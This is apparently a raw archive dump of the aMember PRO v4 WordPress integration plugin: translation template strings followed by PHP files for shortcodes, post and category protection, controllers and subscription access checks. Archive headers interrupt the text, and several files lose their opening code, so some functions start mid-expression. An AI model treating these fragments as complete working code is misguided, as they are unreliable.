views/shortcode_am4show.phtml:10 msgid "Error for guest:" msgstr "" #: views/shortcode_am4show.phtml:14 msgid "Error for user:" msgstr "" #: views/shortcode_am4show.phtml:19 msgid "Result:" msgstr "" #: views/shortcode_am4show.phtml:73 msgid "Text within shortcode will be displayed only if user have access." msgstr "" #: views/shortcode_am4show.phtml:74 msgid "Parameters:" msgstr "" #: views/shortcode_am4show.phtml:79 msgid "" "Access that user should have. Format: type1[,start1[,stop1]][;type2[,start2[," "stop2]]]" msgstr "" #: views/shortcode_am4show.phtml:80 msgid "" "type represents Product or Category: p1 - means product with id 1, g1 means " "Category with id 1 " msgstr "" #: views/shortcode_am4show.phtml:81 msgid "id can be set to -1. p-1 - means any product, g-1 means any category" msgstr "" #: views/shortcode_am4show.phtml:82 msgid "start and stop are number of days" msgstr "" #: views/shortcode_am4show.phtml:83 views/shortcode_am4show.phtml:101 #: views/shortcode_am4show.phtml:119 msgid "Examples:" msgstr "" #: views/shortcode_am4show.phtml:84 msgid "show block for users who have active product #2 or Category #1" msgstr "" #: views/shortcode_am4show.phtml:85 msgid "" "show block for users who have active product #1 and product was purchased " "not more then 10 days ago" msgstr "" #: views/shortcode_am4show.phtml:86 msgid "" "also show block for users who have product #2 and product was purchased not " "less then 30 days ago but not more then 60 days ago." msgstr "" #: views/shortcode_am4show.phtml:87 msgid "Both start and stop values can be omited. For example:" msgstr "" #: views/shortcode_am4show.phtml:88 msgid "" "show block for users who purchase product 1 not less then ten days ago, and " "have active subscription for product 2" msgstr "" #: views/shortcode_am4show.phtml:89 msgid "" "stop value can be set to -1 as well. If stop value will be set to -1, block " "will be displayed even if user's subscription to product expired." msgstr "" #: views/shortcode_am4show.phtml:90 msgid "" "means that block will be displayed for users who purchase product #1 before " "(even if subscription expired already)" msgstr "" #: views/shortcode_am4show.phtml:91 msgid "" "show block for users who have any product and product was purchased not " "less then 10 days ago but not more then 20 days ago" msgstr "" #: views/shortcode_am4show.phtml:99 msgid "Products or Categories that user should not have. Format: type1[;type2]" msgstr "" #: views/shortcode_am4show.phtml:100 msgid "type meaning the same as above." msgstr "" #: views/shortcode_am4show.phtml:102 msgid "" "block will be displayed if user don't have product #1 and don't have product " "#2" msgstr "" #: views/shortcode_am4show.phtml:108 msgid "" "Error that will be displayed for user when he don't have an access. Can be " "created" msgstr "" #: views/shortcode_am4show.phtml:108 views/shortcode_am4show.phtml:114 msgid "here" msgstr "" #: views/shortcode_am4show.phtml:114 msgid "Error that will be displayed for guest. Can be created" msgstr "" #: views/shortcode_am4show.phtml:115 msgid "" "Both error settings can be omited. Block will be hidden if user will not " "have an access." msgstr "" #: views/shortcode_am4show.phtml:121 msgid "" "This block will be be displayed only if user have active subscription to " "product 1." msgstr "" #: views/shortcode_am4show.phtml:122 msgid "" "If user don't have such subscription, 'amember_error' message will be " "displayed instead of block contents." msgstr "" #: views/shortcode_am4show.phtml:123 msgid "Guest will see 'amember_guest_error' message." msgstr "" #: views/shortcode_am4show.phtml:126 msgid "This block will be displayed only if user don't have Category #1" msgstr "" #: views/shortcode_am4show.phtml:127 msgid "This block will be displayed for active users only" msgstr "" #: widgets.php:54 msgid "aMember Widget" msgstr "" #: widgets.php:54 msgid "Login form and aMember subscriptions links" msgstr "" #: widgets.php:55 msgid "Before Login Title:" msgstr "" #: widgets.php:55 widgets.php:58 widgets.php:59 msgid "Login" msgstr "" #: widgets.php:56 msgid "After Login Title:" msgstr "" #: widgets.php:56 msgid "Your Subscriptions" msgstr "" #: widgets.php:57 msgid "Password Title" msgstr "" #: widgets.php:57 msgid "Password" msgstr "" #: widgets.php:58 msgid "Username Title:" msgstr "" #: widgets.php:59 msgid "Login Button Title:" msgstr "" #: widgets.php:60 msgid "Register Link Title:" msgstr "" #: widgets.php:60 msgid "Signup Here" msgstr "" #: widgets.php:61 msgid "Lost Password Title:" msgstr "" #: widgets.php:61 msgid "Lost Password" msgstr "" #: widgets.php:62 msgid "Renew Subscription Title:" msgstr "" #: widgets.php:62 msgid "Renew Subscription" msgstr "" #: widgets.php:63 msgid "Payment History Title:" msgstr "" #: widgets.php:63 msgid "Payment History" msgstr "" #: widgets.php:64 msgid "Logout Title:" msgstr "" #: widgets.php:64 msgid "Logout" msgstr "" #: widgets.php:65 msgid "Change Profile Title:" msgstr "" #: widgets.php:65 msgid "Edit Profile" msgstr "" #: widgets.php:66 msgid "Signup Page URL" msgstr "" #: widgets.php:67 msgid "Renewal Page URL" msgstr "" #: widgets.php:68 msgid "Lost Password Page URL" msgstr "" #: widgets.php:69 msgid "Profile Page URL" msgstr "" #: widgets.php:70 msgid "Payment History Page URL" msgstr "" #: widgets.php:71 msgid "Logout page URL" msgstr "" #: widgets.php:72 msgid "Active Subscriptions Links" msgstr "" #: widgets.php:73 msgid "Renew subscription Link" msgstr "" #: widgets.php:74 msgid "Payment History Link" msgstr "" #: widgets.php:75 msgid "Logout Link" msgstr "" #: widgets.php:76 msgid "Register Link" msgstr "" #: widgets.php:77 msgid "Forgot Password Link" msgstr "" #: widgets.php:78 msgid "Change Profile Link" msgstr "" #: widgets.php:129 msgid "Show Links" msgstr "" #: widgets.php:194 msgid "Arbitrary text or HTML" msgstr "" #: widgets.php:196 msgid "aMember Text Widget" msgstr "" #: widgets.php:232 msgid "Custom Menu with aMember protection settings" msgstr "" #: widgets.php:233 msgid "aMember menu Widget" msgstr "" #: protection.php:9 msgid "aMember Protection Settings" msgstr "" #: protection.php:18 msgid "Protection" msgstr "" #: protection.php:80 msgid "Headers already sent! Can't redirect." msgstr "" #: protection.php:155 msgid "Template not found:" msgstr "" #: amember4.php:112 msgid "aMember path is empty" msgstr "" #: amember4.php:114 msgid "Specified path is not an aMember installation" msgstr "" #: shortcode_select.php:13 msgid "Rich Editor Help" msgstr "" #: shortcode_select.php:29 msgid "aMember Shortcodes" msgstr "" #: shortcodes.php:13 shortcodes.php:15 msgid "aMember Shortcodes Help" msgstr "" #: shortcodes.php:96 msgid "Show User Info" msgstr "" #: shortcodes.php:116 msgid "Show System Info" msgstr "" #: shortcodes.php:139 msgid "Show content only for guest users" msgstr "" #: shortcodes.php:157 msgid "Show content only for affiliates" msgstr "" #: shortcodes.php:176 msgid "Show block if user have access" msgstr "" #: includes/access.php:68 includes/view.php:221 msgid "Any Product" msgstr "" #: includes/access.php:72 msgid " from " msgstr "" #: includes/access.php:72 msgid "start" msgstr "" #: includes/access.php:72 msgid " to " msgstr "" #: includes/access.php:72 msgid " forever " msgstr "" #: includes/access.php:72 msgid "expiration" msgstr "" #: includes/view.php:213 msgid "Choose Products and/or Product Categories that allows access" msgstr "" #: includes/view.php:219 msgid "Please select an item..." msgstr "" #: includes/view.php:220 msgid "Product Categories" msgstr "" #: includes/view.php:224 msgid "Products" msgstr "" #: includes/view.php:242 msgid "Please select error message:" msgstr "" #: menu.php:83 msgid "Settings" msgstr "" #: menu.php:298 msgid "Templates" msgstr "" #: menu.php:332 msgid "Error Messages" msgstr "" #. Plugin Name of the plugin/theme msgid "aMember PRO v4 Integration Plugin for Wordpress" msgstr "" #. #-#-#-#-# amember4.pot (aMember PRO v4 Integration Plugin for Wordpress 0.1) #-#-#-#-# #. Plugin URI of the plugin/theme #. #-#-#-#-# amember4.pot (aMember PRO v4 Integration Plugin for Wordpress 0.1) #-#-#-#-# #. Author URI of the plugin/theme msgid "http://www.amember.com/" msgstr "" #. Description of the plugin/theme msgid "Add aMember functionality to Wordpress blog" msgstr "" #. Author of the plugin/theme msgid "Alexander Smith " msgstr "" PK\<""Pprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/shortcodes.phpnu[registerShortcode($regs[1], $c); } } } function action_AdminInit() { add_meta_box('amember_shortcodes_sectionid', __("aMember Shortcodes Help", 'am4-plugin'), array($this, "getHelp"), "post", 'advanced', 'high'); add_meta_box('amember_shortcodes_sectionid', __("aMember Shortcodes Help", 'am4-plugin'), array($this, "getHelp"), "page", 'advanced', 'high'); } function registerShortcode($name, $class) { $shortcode = new $class(); $shortcode->init($this); add_shortcode($name, array($shortcode,'run')); $this->shortcodes[$name] = $shortcode; } function getHelp() { $view = new am4View("shortcodes_help"); $view->assign("shortcodes", $this); $view->render(); } function getShortcodes() { if($this->shortcodes) return $this->shortcodes; else return array(); } function getShortCodeByName($name) { return array_key_exists($name, $this->shortcodes) ? $this->shortcodes[$name] : null; } } class am4Shortcode { protected $plugin; function getSyntax() { // Return Fill Showrtcode syntax; return "[".$this->getName()."]"; } function getDescription() { return ''; } function getName() { preg_match("/^am4Shortcode_(\S+)$/", get_class($this), $regs); return $regs[1]; } function run($atts=array(), $content='') { if(strlen($content)) return do_shortcode($content); } function init(am4Shortcodes $plugin=null) { $this->plugin = $plugin; } /** * @return am4Shortcodes; */ function getPlugin() { return $this->plugin; } function getHelp($incTable = true) { $name = $this->getName(); try{ $view = new am4View("shortcode_".$name); $view->assign("shortcode", $this); $help = $view->fetch(); return $help; } catch(Exception $e){} } function convertToAccessRequirement($setting){ $records = array(); $lines = explode(";", $setting); foreach((array)$lines as $l){ $items = explode(',', $l); if(preg_match("/^([pg])([-]?\d+)$/", $items[0], $regs)){ $records[] = new am4AccessRequirement(array( 'id' => $regs[2], 'type' => ($regs[1] == 'g' ? am4UserAccess::CATEGORY : am4UserAccess::PRODUCT), 'start' => @$items[1], 'stop' => @$items[2])); } } return $records; } } class am4Shortcode_am4user extends am4Shortcode { function getDescription() { return __('Show User Info', 'am4-plugin'); } function getSyntax() { return "[am4user var='']"; } function run($atts=array(), $content='') { if(am4PluginsManager::getAPI()){ $user = am4PluginsManager::getAPI()->getUser(); if(!$atts) $atts['var'] = 'name'; switch($atts['var']){ case 'name' : $ret = $user['name_f']." ".$user['name_l']; break; case 'expires': am4PluginsManager::getAPI()->getExpire(); break; default : $ret = @$user[$atts['var']]; break; } } return $ret; } } class am4Shortcode_am4affiliate extends am4Shortcode { function getDescription() { return __('Show Affiliate Info', 'am4-plugin'); } function getSyntax() { return "[am4affiliate var='']"; } function run($atts=array(), $content='') { if(am4PluginsManager::getAPI()){ $aff = am4PluginsManager::getAPI()->getAffiliate(); if(!$atts) $atts['var'] = 'name'; switch($atts['var']){ case 'name': $ret = $aff['name_f']." ".$aff['name_l']; break; default: $ret = @$aff[$atts['var']]; break; } } return $ret; } } class am4Shortcode_am4info extends am4Shortcode { function getDescription() { return __('Show System Info', 'am4-plugin'); } function getSyntax() { return "[am4info var='' redirect='']"; } function run($atts=array(), $content='') { if(!is_array($atts)) return; switch($atts['var']){ case 'signupurl' : $ret = am4PluginsManager::getAPI()->getSignupURL(); break; case 'logouturl' : $ret = am4PluginsManager::getAPI()->getLogoutURL(); break; case 'loginurl' : $ret = am4PluginsManager::getAPI()->getLoginURL($_SERVER['REQUEST_URI']); break; case 'renewurl' : $ret = am4PluginsManager::getAPI()->getRenewURL(); break; case 'profileurl' : $ret = am4PluginsManager::getAPI()->getProfileURL(); break; default : $ret = ''; break; } return ($ret ? (!empty($atts['title']) ? ''.$atts['title'].'' : $ret):''); } } class am4Shortcode_am4guest extends am4Shortcode { function getDescription() { return __('Show content only for guest users', 'am4-plugin'); } function getSyntax(){ return "[am4guest notactive=1][/am4guest]"; } function run($atts=array(), $content='') { if(!am4PluginsManager::getAPI()->isLoggedIn()){ return do_shortcode($content); } elseif (@isset($atts['notactive']) && !empty($atts['notactive']) && !am4PluginsManager::getAPI()->isUserActive()){ return do_shortcode($content); } } } class am4Shortcode_am4aff extends am4Shortcode { function getDescription() { return __('Show content only for affiliates', 'am4-plugin'); } function getSyntax() { return "[am4aff][/am4aff]"; } function run($atts=array(), $content='') { $api = am4PluginsManager::getAPI(); if($api->isLoggedIn()){ $user = $api->getUser(); if($user['is_affiliate'] > 0) return do_shortcode($content); } } } class am4Shortcode_am4show extends am4Shortcode { function getDescription() { return __('Show block if user have access', 'am4-plugin'); } function getSyntax() { return "[am4show have='' not_have='' user_error='' guest_error=''][/am4show]"; } function run($atts=array(), $content='') { if(!is_array($atts)) $atts = array(); if(am4PluginsManager::skipProtection()) return do_shortcode($content); if(array_key_exists('notactive', $atts)) return $this->getPlugin()->getShortCodeByName('am4guest')->run($atts, $content); $errors = new am4_Settings_Error(); if(!am4PluginsManager::getAPI()->isLoggedIn()){ return do_shortcode($errors->getTextByName(@$atts['guest_error'])); } $access = new am4UserAccess(); //User is logged in let's check his access level; if(!empty($atts['have'])){ $records = $this->convertToAccessRequirement(@$atts['have']); if(!$access->anyTrue($records)) return do_shortcode($errors->getTextByName(@$atts['user_error'])); } if(!empty($atts['not_have'])){ $records = $this->convertToAccessRequirement(@$atts['not_have']); if(!$access->allFalse($records)){ return do_shortcode($errors->getTextByName(@$atts['user_error'])); } } return do_shortcode($content); } } class am4Shortcode_am4afflink extends am4Shortcode { function getDescription() { return __('Include affiliate link', 'am4-plugin'); } function getSyntax() { return "[am4afflink id='' title='']"; } function run($atts=array(), $content='') { $ret = ''; if(($api = am4PluginsManager::getAPI()) && $api->isLoggedIn()){ $user = $api->getUser(); $url = am4PluginsManager::getAmemberURL(); $vars = array('r'=>$user['user_id']); if(array_key_exists('id', $atts) && $atts['id']) $vars['i'] = $atts['id']; if(array_key_exists('title', $atts) && $atts['title']) $ret = sprintf("%s", $url, http_build_query($vars, '', '&'), $title); else $ret = sprintf("%s/aff/go?%s", $url, http_build_query($vars, '', '&')); } return $ret; } }PK\UQhhMprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/tinymce.phpnu[$o){ if(!class_exists($cname = "am4Protection_".$type)) $cname = "am4ProtectionFormController"; add_meta_box( 'amember_sectionid', __("aMember Protection Settings", 'am4-plugin'), am4PluginsManager::createController($cname), $type, 'advanced','high' ); add_filter("manage_edit-".$type."_columns", array($this, "addProtectColumn"), 10, 1); add_filter("manage_".$type."_posts_custom_column", array($this, 'addProtectionContent'), 10, 2); } } function filter_loginUrl($url, $redirect){ // If there is no redirect then probably url is being displayed in login form target. // We should leave it as is because wordpress doesn't provide any reliable way to separate login urls that are being displayed // on the site with login form target urls. if(!$redirect) return $url; if(!preg_match("/wp\-admin/", $redirect)) return am4PluginsManager::getAPI()->getLoginURL($redirect); return $url; } function addProtectColumn($list){ $list['am4requirements'] = __('Protection', 'am4-plugin'); return $list; } function addProtectionContent($name, $id){ $value = ''; if($name =='am4requirements'){ $p = new am4_Settings_Post_Meta($id); if(!$p->{'protected'}) return ; foreach(am4AccessRequirement::createRequirements($p->{'access'}) as $r){ $value .= $r."
"; } } print $value; } function action_SavePost(){ if(!current_user_can("manage_options") || !is_admin()) return; $screen = am4_get_current_screen(); if($screen->action == 'add') return; $class = "am4Protection_".am4Request::getWord("post_type"); if(!class_exists($class)) $class = "am4ProtectionFormController"; $c = new $class; $c->directAction('save'); } function action_EditCategoryForm($category){ if(empty($category->term_id)) return; $controller = new am4Protection_category(); $controller->category = $category; $controller->run(); } function action_AdminActionEditedtag(){ if(am4Request::getWord('taxonomy') !== 'category') return; am4PluginsManager::runController('am4Protection_category'); } function action_AdminFooter(){ $screen = am4_get_current_screen(); $post_types = get_post_types(array('public'=>true)); array_walk($post_types, function(&$a) {$a = "edit-".$a;}); if(in_array($screen->id, $post_types) && !$screen->action) am4PluginsManager::runController('am4Protection_bulk'); } function makeRedirect($type, am4_Settings_Abstract $settings,$is_category=false){ // Do not make redirect if wordpress is included from amember in order to avoid redirect loops. if(defined('AM_VERSION')) return; $is_cat = ($is_category?"_cat":""); $api = am4PluginsManager::getAPI(); $action = $settings->{$type.'_action'.$is_cat}; if(empty($action)) $action = 'login'; switch($action){ case 'page' : $url = get_page_link($settings->{$type.'_action'.$is_cat.'_page'}); break; case 'redirect' : $url = $settings->{$type.'_action'.$is_cat.'_redirect'}; break; case 'login' : $url = $api->isLoggedIn() ? $api->getSignupURL() : am4PluginsManager::getLoginURL(true); break; default: $url = false; } // not redirect action; if($url === false) return; if(!headers_sent()){ if(!$url) $url = get_site_url(); wp_redirect($url); exit; }else{ throw new Exception(__("Headers already sent! Can't redirect.", 'am4-plugin')); } } function action_Wp(WP $wp){ if(am4PluginsManager::skipProtection()) return; $settings = new am4_Settings_Config(); $access = new am4UserAccess(); $type = $access->isLoggedIn() ? "user" : "guest"; // handle blog protection; if($settings->{'protected'} && !defined('AM_VERSION')){ //handle exclude from protection if(is_single() || is_page() || (@$wp->query_vars['pagename'] && ($post = get_page_by_path(@$wp->query_vars['pagename'])))){ $post = !empty($post) ? $post : @$GLOBALS['wp_query']->post; $psettings = new am4_Settings_Post_Meta($post->ID); if($psettings->{'exclude_protection'}) return; } if((!$access->isLoggedIn()) || ($access->isLoggedIn() && !$this->haveAccess(am4AccessRequirement::createRequirements($settings->{'access'}), $settings))){ // First check if user try to access page that he is redirected to if(!(($settings->{$type.'_action'} == 'page') && is_page() && ($page = get_page($settings->{$type.'_action_page'})) && ($page->ID == @$GLOBALS['wp_query']->post->ID)) ){ $this->makeRedirect($type, $settings); } } } if(is_single() || is_page() || (@$wp->query_vars['pagename'] && ($post = get_page_by_path(@$wp->query_vars['pagename'])))){ $post = !empty($post) ? $post : @$GLOBALS['wp_query']->post; $psettings = new am4_Settings_Post_Meta($post->ID); if($psettings->{'exclude_protection'}) return; $settings = $this->getPostAccess($post); if($settings->{'protected'} && !$this->haveAccess($r = $this->getPostRequirements($post), $settings)){ $this->makeRedirect($type, $settings); } } if(is_category()){ $cat = @$GLOBALS['wp_query']->query_vars['cat']; $settings = new am4_Settings_Category($cat); if($settings->{'protected'}){ if(!$this->haveAccess(am4AccessRequirement::createRequirements($settings->{'access'}), $settings)){ $this->makeRedirect($type,$settings, true); } } } } /** * * @param type $post * @return am4_Settings_Abstract */ function getPostAccess($post){ $settings = new am4_Settings_Post_Meta($post->ID); if(!$settings->{'protected'}){ // Check category; if($post->post_type == 'post'){ // Check category protecton as well; foreach(get_the_category($post->ID) as $cat){ $cat_settings = new am4_Settings_Category($cat->cat_ID); if($cat_settings->{'protected'}) $settings = $cat_settings; } } } if((!$settings->{'protected'}) && $post->post_parent && ($parent_post = get_post($post->post_parent))){ $settings = $this->getPostAccess ($parent_post); } return $settings; } function getPostRequirements($post){ $settings = new am4_Settings_Post_Meta($post->ID); if(!$settings->{'protected'}){ // Check category; if($post->post_type == 'post'){ // Check category protecton as well; foreach(get_the_category($post->ID) as $cat){ $cat_settings = new am4_Settings_Category($cat->cat_ID); if($cat_settings->{'protected'}) $access[] = $cat_settings->{'access'}; } } }else{ $access = array($settings->{'access'}); } if((!$access) && $post->post_parent && ($parent_post = get_post($post->post_parent))){ return $this->getPostRequirements($parent_post); } return call_user_func_array(array('am4AccessRequirement', 'createRequirements'), $access); } // protection here; protected function getErrorText($error){ $errors = new am4_Settings_Error(); $template = $errors->getTextByName($error); if(!is_null($template)) return do_shortcode($template); return __('Template not found:', 'am4-plugin').$template; } function filter_ThePosts($posts){ global $current_user; if(!is_array($posts)) return $posts; // Admin have access to all; $api = am4PluginsManager::getAPI(); if(am4PluginsManager::skipProtection()) return $posts; $access = new am4UserAccess(); $type = $api->isLoggedIn() ? "user" : "guest"; $is_search = (is_archive() || is_search()) && !is_category(); foreach($posts as $k=>$post){ $settings = $this->getPostAccess($post); if($settings->{'only_guest'} && $type!='guest'){ unset($posts[$k]); continue; } $being_displayed = is_single() || is_page(); if($settings->{'protected'} && (!$access->isLoggedIn() ||!$this->haveAccess($this->getPostRequirements($post), $settings))){ if(is_feed()){ // Remove protected posts from feed; if($settings->{'include_in_rss'}!='show') unset($posts[$k]); }else switch(($is_search ? $settings->{$type.'_action_search'} : $settings->{$type.'_action'})){ case 'hide' : unset($posts[$k]); break; case 'text' : if($being_displayed || $is_search) $posts[$k]->post_content = $this->getErrorText($is_search ? $settings->{$type.'_action_search_text'} : $settings->{$type.'_action_text'}); break; } } } $posts = array_merge($posts); return $posts; } function filter_TheContent($content){ $api = am4PluginsManager::getAPI(); if(am4PluginsManager::skipProtection()) return $content; $access = new am4UserAccess(); $type = $api->isLoggedIn() ? "user" : "guest"; if(is_single()){ $post = @$GLOBALS['post']; if(!$post) return $content; $settings = $this->getPostAccess($post); if($settings->{'protected'} && (!$access->isLoggedIn() ||!$this->haveAccess($this->getPostRequirements($post), $settings))){ switch(($settings->{$type.'_action'})){ case 'text' : $content = $this->getErrorText($settings->{$type.'_action_text'}); break; } } } return $content; } function filter_PostsWhere($where){ if(am4PluginsManager::skipProtection()) return $where; $excludes = array(); global $wpdb; $access = new am4UserAccess(); $type = $access->isLoggedIn() ? "user" : "guest"; $is_search = (is_archive() || is_search()) && !is_category(); foreach($wpdb->get_col( "select post_id " . "from $wpdb->posts p left join $wpdb->postmeta m " . "on p.ID = m.post_id and m.meta_key = 'am4options' " . "where m.meta_value is not null and p.post_status='publish' and p.post_type='page'" ) as $page_id){ $page = new stdClass(); $page->ID = $page_id; $page->post_type='page'; $page->post_parent=null; $settings = $this->getPostAccess($page); if($settings->{'only_guest'} && $type!='guest') $excludes[] = $page->ID; if($settings->{'protected'} && !$this->haveAccess($this->getPostRequirements($page), $settings) && (($settings->{$type.'_action'} == 'hide') || ($is_search && ($settings->{$type.'_action_search'} == 'hide')))) $excludes[] = $page->ID; } if(!empty($excludes)) $where .= " AND $wpdb->posts.ID not in (".join(', ', $excludes).")"; return $where; } function action_WpListPagesExcludes($excludes){ // if(current_user_can('manage_options')) return $excludes; $access = new am4UserAccess(); $type = $access->isLoggedIn() ? "user" : "guest"; foreach(get_pages(array('post_type'=>'page', 'post_status'=>'publish')) as $page){ $settings = $this->getPostAccess($page); if($settings->{'only_guest'} && $type!='guest') $excludes[] = $page->ID; if($settings->{'exclude'}) $excludes[] = $page->ID; if($settings->{'protected'} && !$this->haveAccess($this->getPostRequirements($page), $settings) && $settings->{$type.'_action'} == 'hide') $excludes[] = $page->ID; } return (array)$excludes; } function filter_WpNavMenuObjects($items, $args){ if(am4PluginsManager::skipProtection()) return $items; $access = new am4UserAccess(); $type = $access->isLoggedIn() ? "user" : "guest"; foreach($items as $id => $i){ switch($i->object){ case 'page' : case 'post' : // get_page and get_post are identical; $page = get_page($i->object_id); $settings = $this->getPostAccess($page); if($settings->{'only_guest'}){ if($type != 'guest') unset($items['id']); }else if($settings->{'protected'} && !$this->haveAccess($this->getPostRequirements($page), $settings) && $settings->{$type.'_action_menu'} == 'hide') unset($items[$id]); break; case 'category' : $settings = new am4_Settings_Category($i->object_id); if($settings->{'protected'} && !$this->haveAccess(am4AccessRequirement::createRequirements($settings->{'access'}), $settings) && $settings->{$type.'_action_cat_menu'} == 'hide') unset($items[$id]); break; } } return $items; } function haveAccess($requirements, am4_Settings_Abstract $settings){ $access = new am4UserAccess(); if($settings->{'affiliate'} && $access->isAffiliate()) return true; return $settings->{'require_all'} ? $access->allTrue($requirements) : $access->anyTrue($requirements); } } class am4ProtectionFormController extends am4FormController{ var $hidden = 0; protected $skip_actions = array('autosave', 'inline-save'); function getPages(){ $pages = get_pages(); $ret=array(); foreach($pages as $p){ $ret[get_page_link($p->ID)] = $p->post_title; } return $ret; } function doSave(){ $options = am4Request::get('options', null); if(($errors = $this->validate($options)) === true){ $this->saveForm($options); } } function getViewName(){ return "protection"; } function getOptions(){ $options = new am4_Settings_Post_Meta(@$GLOBALS['post']->ID); if($options->isEmpty()) $options->loadFromArray($this->getProtectionDefaults()); return $options; } function saveForm($options){ $post_id = am4Request::get('post_ID', null); $settings = new am4_Settings_Post_Meta($post_id); if(isset($options)&&isset($post_id)) $settings->loadFromArray($options)->save(); } function run($isAjax=0){ if(in_array(am4Request::get('action'), $this->skip_actions)) return; parent::run($isAjax); } } class am4Protection_post extends am4ProtectionFormController{ function getViewName(){ return "post_protection"; } } class am4Protection_page extends am4ProtectionFormController{ function getViewName(){ return "page_protection"; } } class am4Protection_category extends am4ProtectionFormController{ function getViewName() { return "category"; } function getOptions(){ $options = new am4_Settings_Category($this->category->term_id); if($options->isEmpty()){ $options->loadFromArray($this->getProtectionDefaults(), $this->getCatProtectionDefaults()); } return $options; } function saveForm($options){ $cat_settings = new am4_Settings_Category(am4Request::get('tag_ID')); $cat_settings->loadFromArray($options)->save(); } } class am4Protection_bulk extends am4ProtectionFormController{ function getViewName() { return "bulk_protection"; } function preDispatch() { parent::preDispatch(); $this->amPostScript(); return true; } function getOptions(){ $options = new am4_Settings_Post_Meta(); return $options->loadFromArray($this->getProtectionDefaults()); } function doIndex($options=null, $errors=array(),$vars=array()){ parent::doIndex(array(), array(), array('hidden'=>true)); $script = am4View::init("bulk_action", $this, am4View::TYPE_JS)->render(); } function doAjaxSave(){ $data = am4Request::get("data"); parse_str($data, $vars); $options = @$vars['options']; if(!empty($vars['post']) && is_array($vars['post'])){ foreach($vars['post'] as $v){ $ps = new am4_Settings_Post_Meta(); $ps->loadFromArray($options)->setPostId($v)->save(); } } } function doAjaxRemove(){ $data = am4Request::get("data"); parse_str($data, $vars); if(!empty($vars['post']) && is_array($vars['post'])){ foreach($vars['post'] as $v){ $ps = new am4_Settings_Post_Meta(); $ps->loadFromArray(array())->setPostId($v)->save(); } } } } PK\4~~Vprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/shortcode_select.phpnu[ > <?php _e('Rich Editor Help'); ?>

getHelp(); ?> PK\ 7DDYprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/includes/controller.phpnu[preDispatch()) return ; $this->dispatch(false, $action); $this->postDispatch(); } function dispatch($isAjax=false,$directAction=''){ $action = $directAction ? $directAction : am4Request::getWord($this->_action_field); if(!$action) $action = $this->_default_action; $method = $isAjax ? 'doAjax'.ucfirst($action) : 'do'.ucfirst($action); if(method_exists($this,$method)){ call_user_func(array($this,$method)); }else{ throw new Exception('Action not defined:'.$action); } } function doIndex(){ throw new Exception('Not Implemented!'); } function preDispatch(){ return true; } function postDispatch(){ } function preAjaxDispatch(){ if(!check_ajax_referer($this->getAjaxActionValue(get_class($this)), 'action_security')){ throw new Exception("Security check failed"); } return true; } function postAjaxDispatch(){ } function run($is_ajax=false){ if($is_ajax == self::AJAX){ if(!$this->preAjaxDispatch()) return; $this->dispatch(self::AJAX); $this->postAjaxDispatch(); exit; }else{ if(!$this->preDispatch()) return ; $this->dispatch(); $this->postDispatch(); } } function runAjax(){ $this->run(self::AJAX); } function actionInput($action, $ret=false){ $i = ""; if($ret) return $i; else print $i; } function createView($view){ return new am4View($view, $this); } static function getAjaxActionValue($cname){ if(!$cname) throw Exception('No class passed for getAjaxActionValue'); return am4_from_camel($cname); } function amPostScript(){ ?> validate($options)) !== true){ $this->doIndex($options, $errors); }else{ $this->saveForm($options); $this->doIndex(); } } function saveForm($options){ } function validate($options){ return true; } function getProtectionDefaults(){ return array( 'user_action' => 'login', 'guest_action' =>'login', 'user_action_search' => 'hide', 'guest_action_search' => 'hide', 'guest_action_menu' => 'hide', 'user_action_menu' => 'hide', 'include_in_rss' => 'hide' ); } function getCatProtectionDefaults(){ return array( 'user_action_cat' => 'login', 'guest_action_cat' => 'login', 'user_action_cat_menu' => 'hide', 'guest_action_cat_menu' => 'hide' ); } /** * * @return am4_Settings_Abstract|null */ function getOptions(){ return null; } function getViewName(){ $cname = get_class($this); preg_match('/\S+_(\S+)/', $cname, $regs); return $regs[1]; } function doIndex($options=null, $errors=array(),$vars=array()){ $view = $this->createView($this->getViewName()); $view->options = $options ? $options : $this->getOptions(); $view->errors = $errors; $view->vars = $vars; $view->render(); } function preDispatch(){ parent::preDispatch(); if(!current_user_can("manage_options")) return false; return true; } }PK\ DUprotect/wordpress/upload_to_wordpress/wp-content/plugins/amember4/includes/access.phpnu[fromArray($record); } function checkAccess(am4AccessCacheRecord $a) { // Check record type; if (($this->id != am4Access::ANY_PRODUCT) && ($this->type != $a->type)) return false; // Check record id; -1 means any; if ($this->id != am4Access::ANY_PRODUCT && $this->id != $a->id) return false; // Check status; if (!in_array($a->status, $this->status)) return false; // Check period; if ($this->startType == 'd' && $a->days < $this->start) return false; if ($this->startType == 'p' && $a->payments_count < $this->start) return false; if ($a->days > $this->stop) return false; return true; } static function createRequirements() { $req = array(); $args = func_get_args(); foreach((array)$args as $records) foreach((array)$records as $type => $r){ foreach((array)$r as $id => $v){ $req[] = new self(array( 'type' => $type, 'id' => $id, 'start' => $v['start'], 'stop' => $v['stop'])); } } return $req; } function toArray() { throw new Exception("Not implemented!"); } function fromArray($record) { $this->id = $record['id']; $this->type = $record['type']; if (preg_match('/([0-9]+)(d|p)/', $record['start'], $m)) { $this->start = intval($m[1]); $this->startType = $m[2]; } else { $this->start = intval($record['start']); $this->startType = 'd'; } $this->stop = intval($record['stop']); if($this->stop == -1) { $this->status = array(am4Access::ACTIVE, am4Access::EXPIRED); } else { $this->status = array(am4Access::ACTIVE); } if($this->stop <= 0) $this->stop = PHP_INT_MAX; } function __toString() { $value = ''; if($this->id){ switch($this->type){ case am4Access::PRODUCT : $titles = am4PluginsManager::getAMProducts(); break; case am4Access::CATEGORY : $titles = am4PluginsManager::getAMCategories(); break; default: throw new Exception('Unknown record type!'); } if($this->id == -1) { $value = ""._('Any Product')." "; } else { $value = "".@$titles[$this->id]." "; } $value .= _(' from ').($this->start==0 ? _('start') : $this->start.$this->startType)._(' to ').(in_array(am4Access::EXPIRED, $this->status) ? _(' forever ') : ($this->stop == PHP_INT_MAX ? _('expiration') : $this->stop.'d')); return $value; } return $value; } } class am4AccessCacheRecord { public $id; public $type; public $days; public $status; function __construct(array $record) { $this->id = $record['id']; $this->type = $record['type']; $this->days = $record['days']; $this->payments_count = $record['payments_count']; $this->status = $record['status']; } } // User access class. All cache records that user have. class am4Access { private $cache = array(); const PRODUCT = 'product'; const CATEGORY = 'category'; const FOREVER = -1; const EXPIRATION = 0; const START = 0; const ANY_PRODUCT = -1; const ACTIVE = 'active'; const EXPIRED = 'expired'; function 